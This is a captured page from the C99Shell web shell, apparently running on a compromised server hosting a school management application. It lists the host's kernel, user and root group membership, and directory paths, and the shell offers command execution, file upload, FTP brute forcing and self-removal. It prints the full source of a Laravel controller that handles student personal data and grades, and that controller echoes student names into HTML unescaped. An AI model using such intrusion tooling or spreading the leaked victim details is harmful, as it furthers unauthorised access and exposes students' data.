!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/school.picotech.app/public_html_old/app/Http/Controllers/   drwxr-xr-x
Free 26.59 GB of 117.98 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CommonController.php (7.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
Illuminate\Support\Facades\Hash;
use 
Illuminate\Http\Request;
use 
App\Models\Role;
use 
App\Models\User;
use 
App\Models\Session;
use 
App\Models\Classes;
use 
App\Models\Section;
use 
App\Models\Enrollment;
use 
Illuminate\Support\Str;
use 
App\Models\Gradebook;
use 
App\Models\Subject;
use 
App\Models\School;
use 
DB;
use 
PDF;



class 
CommonController extends Controller
{

    
/**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    
public function get_student_details_by_id($id "")
    {

        
//Fetch Details

        
$enrol_data Enrollment::where('user_id'$id)->first();

        
$student User::find($id);

        
$info json_decode($student->user_information);

        
$parent_details User::find($student->parent_id);

        
$role Role::where('role_id'$student->role_id)->first();

        
$class_details Classes::find($enrol_data->class_id);

        
$section_details Section::find($enrol_data->section_id);

        
$active_session get_school_settings($student->school_id)->value('running_session');

        
$school_name School::find($student->school_id)->value('title');

        
//End Fetch


        
$enrol_data['code'] = $student->code;
        
$enrol_data['user_id'] = $id;
        
$enrol_data['parent_name'] = $parent_details->name??"";
        
$enrol_data['name'] = $student->name;
        
$enrol_data['email'] = $student->email;

        
$enrol_data['role'] = $role->name;

        
$enrol_data['address'] = isset($info->address)?$info->address:'';
        
$enrol_data['phone'] = isset($info->phone)?$info->phone:'';
        
$enrol_data['birthday'] = isset($info->birthday)?$info->birthday:'';
        
$enrol_data['gender'] = isset($info->gender)?$info->gender:'';
        
$enrol_data['blood_group'] = $info->blood_group??"";
        
$enrol_data['photo'] = get_user_image($id);
        
$enrol_data['school_id'] = $student->school_id;
        
$enrol_data['school_name'] = $school_name;
        
$enrol_data['running_session'] = $active_session;

        
$enrol_data['class_name'] = isset($class_details->name)?$class_details->name:'';
        
$enrol_data['class_id'] = isset($class_details->id)?$class_details->id:'';
        
$enrol_data['section_name'] = isset($section_details->name)?$section_details->name:'';
        
$enrol_data['section_id'] = isset($section_details->id)?$section_details->id:'';

        return 
$enrol_data;
    }

    public function 
get_student_academic_info($id "")
    {

        
//Fetch Details
        
$enrol_data Enrollment::where('user_id'$id)->first();
        
$student User::find($id);
        
$class_details Classes::find($enrol_data->class_id);

        
$section_details Section::find($enrol_data->section_id);

        
//End Fetch

        
$enrol_data['parent_id'] = $student->parent_id;
        
$enrol_data['code'] = $student->code;
        
$enrol_data['user_id'] = $id;
        
$enrol_data['name'] = $student->name;
        
$enrol_data['email'] = $student->email;


        
$enrol_data['class_name'] = isset($class_details->name) && $class_details->name?$class_details->name:'';
        
$enrol_data['class_id'] = isset($class_details->id) && $class_details->id?$class_details->id:'';
        
$enrol_data['section_name'] = isset($section_details->name) && $section_details->name?$section_details->name:'';
        
$enrol_data['section_id'] = isset($section_details->id) && $section_details->id?$section_details->id:'';

        return 
$enrol_data;
    }



    public function 
classWiseStudents($id '')
    {
        
$enrollments Enrollment::get()->where('class_id'$id);
        
$options '<option value="">' 'Select a student' '</option>';
        foreach (
$enrollments as $enrollment) :
            
$student User::find($enrollment->user_id);
            
$options .= '<option value="' $student->id '">' $student->name '</option>';
        endforeach;
        echo 
$options;
    }

    public function 
classWiseSubject($id)
    {
        
$subjects Subject::get()->where('class_id'$id);
        
$options '<option value="">' 'Select a subject' '</option>';
        foreach (
$subjects as $subject) :
            
$options .= '<option value="' $subject->id '">' $subject->name '</option>';
        endforeach;
        echo 
$options;
        
// return view('admin.examination.add_offline_exam', ['subjects' => $subjects]);
    
}

    public function 
classWiseSections($id)
    {
        
$sections Section::get()->where('class_id'$id);
        
$options '<option value="">' 'Select a section' '</option>';
        foreach (
$sections as $section) :
            
$options .= '<option value="' $section->id '">' $section->name '</option>';
        endforeach;
        echo 
$options;
    }

    public function 
sectionWiseStudents($id)
    {
        
$enrollments Enrollment::where('section_id'$id)->where('school_id'auth()->user()->school_id)->get();
        
$options '<option value="">' 'Select a student' '</option>';
        foreach (
$enrollments as $enrollment) :
            
$student User::find($enrollment->user_id);
            
$options .= '<option value="' $student->id '">' $student->name '</option>';
        endforeach;
        echo 
$options;
    }


    public function 
getGrade($acquired_mark '')
    {
        echo 
get_grade($acquired_mark);
    }

    public function 
markUpdate(Request $request)
    {
        
$data $request->all();

        if (!empty(
$data['session_id'])) {
            
$active_session  $data['session_id'];
        } else {
            
$active_session get_school_settings(auth()->user()->school_id)->value('running_session');
        }

        
$data['school_id'] = auth()->user()->school_id;
        
$data['session_id'] = $active_session;

        
$query Gradebook::where('exam_category_id'$data['exam_category_id'])
            ->
where('class_id'$data['class_id'])
            ->
where('section_id'$data['section_id'])
            ->
where('student_id'$data['student_id'])
            ->
where('school_id'$data['school_id'])
            ->
where('session_id'$data['session_id'])
            ->
first();

        if (!empty(
$query) && $query->count() > 0) {

            
$marks json_decode($query->markstrue);
            
$marks[$data['subject_id']] = $data['mark'];
            
$query->marks json_encode($marks);
            
$query->comment $data['comment'];
            
$query->save();


        } else {
            
$mark[$data['subject_id']] = $data['mark'];
            
$marks json_encode($mark);
            
$data['marks'] = $marks;
            
$data['timestamp'] = strtotime(date('Y-m-d'));
            
Gradebook::create($data);
        }
    }

    public function 
get_user_by_id_from_user_table($id)
    {
        
$user User::find($id);

        return 
$user;
    }

    public function 
idWiseUserName($id='')
    {
        
$result User::where('id'$id)->value('name');
        return 
$result;
    }

    public function 
getClassDetails($id='')
    {
        
$class_details Classes::find($id);
        return 
$class_details;
    }

    public function 
getSectionDetails($id='')
    {
        
$section_details Section::find($id);
        return 
$section_details;
    }

    public function 
getSubjectDetails($id='')
    {
        
$subject_details Subject::find($id);
        return 
$subject_details;
    }




}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--